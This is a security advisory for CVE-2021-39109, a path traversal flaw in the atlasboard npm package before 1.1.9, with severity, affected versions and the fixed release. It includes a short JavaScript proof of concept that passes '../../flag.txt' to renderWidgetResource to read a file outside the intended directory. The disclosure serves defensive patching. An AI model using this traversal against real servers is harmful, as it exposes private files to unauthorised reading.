Advisory

GHSA-25pr-6pr6-68v7

Also known as: CVE-2021-39109

Summary

Path traversal in atlasboard

Details

The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.

PoC

const widget = require(\"atlasboard/lib/webapp/routes/widget\");

// Mock req and res
const req = {};
const res = {
  sendFile: (filePath) => {
    // Read and return file contents synchronously
    const data = fs.readFileSync(filePath, \"utf8\");
    console.log(\"Contents of /flag.txt:\");
    console.log(data);
  },
  status: function (code) {
    this.statusCode = code;
    return this;
  },
  send: function (msg) {
    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);
  },
};

// localPackagesPath set to root to allow traversal to /flag.txt
const localPackagesPath = \"/\";

// resource string with path traversal to escape localPackagesPath and widgets directory
const resource = \"../../flag.txt\";

// Call vulnerable function
await widget.renderWidgetResource(localPackagesPath, resource, req, res);

Severity

High Basis: The source's own band: HIGH

Dates

Published
2021-09-02 17:17 UTC
Modified
2025-09-29 16:41 UTC

Affected packages and fixes

atlasboard

npm · All systems

Affected

  • introduced 0, fixed 1.1.9 (semver)

Fixed versions

1.1.9

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences